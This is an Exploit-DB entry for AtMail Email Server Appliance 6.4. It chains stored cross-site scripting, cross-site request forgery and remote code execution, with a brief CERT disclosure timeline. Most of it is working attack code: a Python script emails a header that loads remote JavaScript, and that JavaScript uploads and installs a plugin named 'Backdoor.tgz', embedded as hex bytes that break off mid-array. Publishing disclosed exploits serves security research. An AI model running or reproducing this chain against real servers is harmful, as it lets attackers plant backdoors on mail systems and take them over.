Exploit-DB #20009
Description: AtMail Email Server Appliance 6.4 - Persistent Cross-Site Scripting / Cross-Site Request Forgery / Remote Code Execution
Type: remote
Platform: linux
Date: 2012-07-21
Author: muts

Exploit:
######################################################################################
# Exploit Title: Atmail Email Server Appliance 6.4 Remote Code Execution
# Date: Jul 21 2012
# Author: muts
# Version: Atmail Email Server 6.4
#
# By sending an email to a user with the Atmail administrative interface open, we
# can call a remote JavaScript file that will initiate the installation of a 
# specially crafted plugin file via CSRF, enabling remote code execution on the 
# Atmail server.
#
######################################################################################

Timeline:

29 May 2012: Vulnerability reported to CERT
30 May 2012: Response received from CERT with disclosure date set to 20 Jul 2012
21 Jul 2012: Public Disclosure

#!/usr/bin/python
import smtplib, urllib2, sys

def sendMail(dstemail, frmemail, smtpsrv, username, password):
	msg  = "From: admin@offsec.local\n"
	msg += "To: admin@offsec.local\n"
	msg += 'Date: <script src="http://172.16.164.1/~awae/atmail-rce.js"></script>\n'
	msg += "Subject: You haz been pwnd\n"
	msg += "Content-type: text/html\n\n"
	msg += "Oh noez, you been had."
	msg += '\r\n\r\n'
	server = smtplib.SMTP(smtpsrv)
	server.login(username,password)
	try:
		server.sendmail(frmemail, dstemail, msg)
	except Exception, e:
		print "[-] Failed to send email:"
		print "[*] " + str(e)
	server.quit()

username = "admin@offsec.local"
[CREDENTIAL_REDACTED]"
dstemail = "admin@offsec.local"
frmemail = "admin@offsec.local"
smtpsrv  = "172.16.164.147"

if not (dstemail and frmemail and smtpsrv):
   sys.exit()

sendMail(dstemail, frmemail, smtpsrv, username, password)


#############################################################################################################


function timeMsg()
{
	var t=setTimeout("getShell()",5000);
}

function getShell()
{
	var b64url ="http://172.16.164.130/index.php/admin/plugins/add/file/QmFja2Rvb3IudGd6";
 	xhr = new XMLHttpRequest();
	xhr.open("GET", b64url, true);
	xhr.send(null);

}
function fileUpload(url, fileData, fileName, nameVar, ctype) {

   var fileSize = fileData.length,
   boundary = "OWNEDBYOFFSEC",
   xhr = new XMLHttpRequest();
   xhr.open("POST", url, true);
   //  MIME POST request.
   xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
   xhr.setRequestHeader("Content-Length", fileSize);
   var body = "--" + boundary + "\r\n";
   body += 'Content-Disposition: form-data; name="' + nameVar +'"; filename="' + fileName + '"\r\n';
   body += "Content-Type: " + ctype + "\r\n\r\n";
   body += fileData + "\r\n";
   body += "--" + boundary + "--";

   //xhr.send(body);
   xhr.sendAsBinary(body);
   return true;
}

var nameVar  = "newPlugin";
var fileName = "Backdoor.tgz";
var url      = "http://172.16.164.130/index.php/admin/plugins/preinstall";
var ctype    = "application/x-gzip";
//var ctype    = "application/octet-stream";
//var data     = "\x44\x41\x42\x43\x44";
var data     = '\x1F\x8B\x08\x00\x44\x7A\x91\x4F\x00\x03\xED\x59\xED\x72\xDB\xC6' +
'\x15\x55\x3B\xD3\xE9\x88\xFF\xDB\xDF\x1B\x8D\xA6\x22\x27\x24\x48' +
'\xF0\xD3\x96\x2A\x27\x34\x2D\xD9\x9C\xC8\x92\x86\x94\xE2\x7A\x9A' +
'\x0E\x67\x05\x2C\x49\x8C\x40\x00\xC6\x02\xA2\x99\xD4\xEF\xD1\xD7' +
'\xE8\x33\xF5\x45\x7A\xEE\x2E\x40\x91\x16\x4D\x53\x89\x46\x69\x63' +
'\xDC\x89\x4C\x12\xB8\x7B\xF7\xE2\xDC\xAF\xB3\x88\x51\x36\x06\x67' +
'\xC3\xA1\xF0\xA4\x73\x23\xFA\xC2\x8A\x43\x27\x9A\x6D\x3D\xAC\x54' +
'\x2A\x95\x56\xA3\xC1\xD4\x67\x53\x7F\x56\xAA\x75\xFD\x49\x52\xAB' +
'\xD7\x98\x69\xB6\xEA\xF5\x6A\xAB\x61\x56\x4C\x56\x31\x1B\x66\xB3' +
'\xB5\xC5\x2A\x0F\xEC\xC7\x4A\x89\x65\xC4\x43\xB8\x32\x89\x23\xB9' +
'\x4E\x0F\x6A\xC3\xE1\x9A\xFB\xFA\x51\xD8\xFC\xF3\xFF\x45\xFE\xF0' +
'\xE7\x3F\x6E\xFD\x7E\x6B\xEB\x35\xB7\xD8\x59\x9F\xFD\x8D\x25\x42' +
'\xD7\xB6\xB6\xF1\x57\xC5\xDF\xBF\xF1\x47\xBF\xFF\xB3\x99\xC9\xF6' +
'\xC5\x45\x2F\xF9\x4A\x2B\xFE\x85\xBF\xEF\x3E\x52\xF9\xDD\xED\xF5' +
'\x3F\x59\xFE\xC4\xE0\x41\xE0\x0A\xE3\x5D\xCC\x43\xEE\x45\x8E\x27' +
'\xB6\xDE\x95\x81\xA2\x79\x50\x1F\x3E\x35\x1B\x95\xE6\xD3\x83\xFE' +
'\xF5\x2C\x10\x07\xB5\x17\x4F\x6B\x4F\xDB\x95\x4E\xA9\xF2\xE2\x69' +
'\xA7\x54\x6F\x77\x9E\x97\x9E\x3C\x7D\xF2\xBC\x74\xD4\x79\x7E\x7C' +
'\xDC\x32\x6B\x95\xBA\x79\xF4\x4F\xB2\x27\x49\x5D\xFF\xFB\x00\x18' +
'\xFD\x86\xE5\x4E\xED\x97\x1F\x7E\x8F\xCF\xD5\x3F\xD5\xCB\x72\xFD' +
'\xD7\x9B\x54\xFF\x8D\x87\x77\xE5\xAE\x7C\xE1\xF5\x7F\x37\xFE\xC6' +
'\xE0\x39\xB7\xAE\x6D\xDF\x0F\x1F\x6A\x8F\x7B\xF4\xFF\x7A\xB3\x45' +
'\xF1\x6F\x36\x5A\x66\xD6\xFF\x1F\x45\xB2\xFE\xFF\x45\xCB\xDD\xFA' +
'\x4F\xAB\xFF\xE1\x06\xC1\x3D\xFA\x7F\x5A\xFF\xF5\x6A\x33\xEB\xFF' +
'\x8F\x21\x6B\xE2\x6F\x0C\x1C\xCF\x72\x63\x5B\xAC\xC5\x65\x03\xB9' +
'\x4F\xFF\x6F\x55\x6A\xAC\x52\xAD\xD4\x5A\xB5\xAC\xFF\x3F\x8A\x64' +
'\xFD\xFF\x8B\x96\x35\xF5\x9F\x56\xFF\x2F\x1E\x04\xF7\xE9\xFF\x49' +
'\xFD\x57\x6B\x95\xAC\xFF\x3F\x86\xAC\xED\xFF\xE7\x6E\x3C\x72\x3C' +
'\x23\x18\x07\xBF\x68\x0F\xE0\xD1\xAC\xD7\x37\x7B\xFF\x53\x69\xA8' +
'\xF8\x37\x2B\x8D\xAC\xFF\x3F\x8A\x64\xFD\xFF\x8B\x96\x35\xF5\xFF' +
'\x40\xD5\xFF\xD9\xFA\x37\x1B\xD5\xD6\xC7\xF5\x5F\x6B\x65\xF5\xFF' +
'\x28\xF2\xD7\x6F\x10\xDF\x9C\xE5\x72\x29\xD9\x9D\x5C\x98\xBF\x09' +
'\x4A\x26\x01\x13\xEF\x23\xE1\xD9\x92\xB5\xA3\x09\x77\xDC\x41\xC7' +
'\xF7\xA2\xD0\x77\x5D\x91\x2A\xE4\x7E\xCA\x6D\x07\xA1\x1F\x09\x2B' +
'\x12\x36\xDB\x1D\x04\xEA\xEA\x71\xEC\xBA\xA7\x7C\x22\xB6\xB7\x0F' +
'\xD9\x5E\x6A\x72\xEF\x60\x95\x6A\xC7\x9F\x04\xDC\x9B\x29\xCD\x3B' +
'\xEE\xAC\x5E\xD2\x8E\xA3\xB1\x1F\x2E\xAF\x60\xE9\x12\xE6\x78\x43' +
'\xFF\x5B\x3F\xBD\x5E\x92\xC9\x75\x03\x4D\xE2\x53\x1E\x04\xB3\xD0' +
'\x19\x8D\x23\x65\x91\xB2\x82\x96\x63\xDD\xA7\x97\x5C\x86\xEE\xB6' +
'\xD2\x9E\x4E\xA7\xC6\x7D\xF6\x3A\xC5\x05\xA9\x97\xAE\x56\xF8\x5E' +
'\x84\xD2\xF1\x3D\xA5\x51\x31\x2A\x86\xB9\x5A\xED\xB5\x6F\xC7\xAE' +
'\x86\x97\xE2\xB2\x06\x5A\xFD\x54\x4D\xC3\x34\x9A\x8C\xFE\x6D\x91' +
'\x2E\xB4\xE3\x2B\xD7\xB1\xD8\x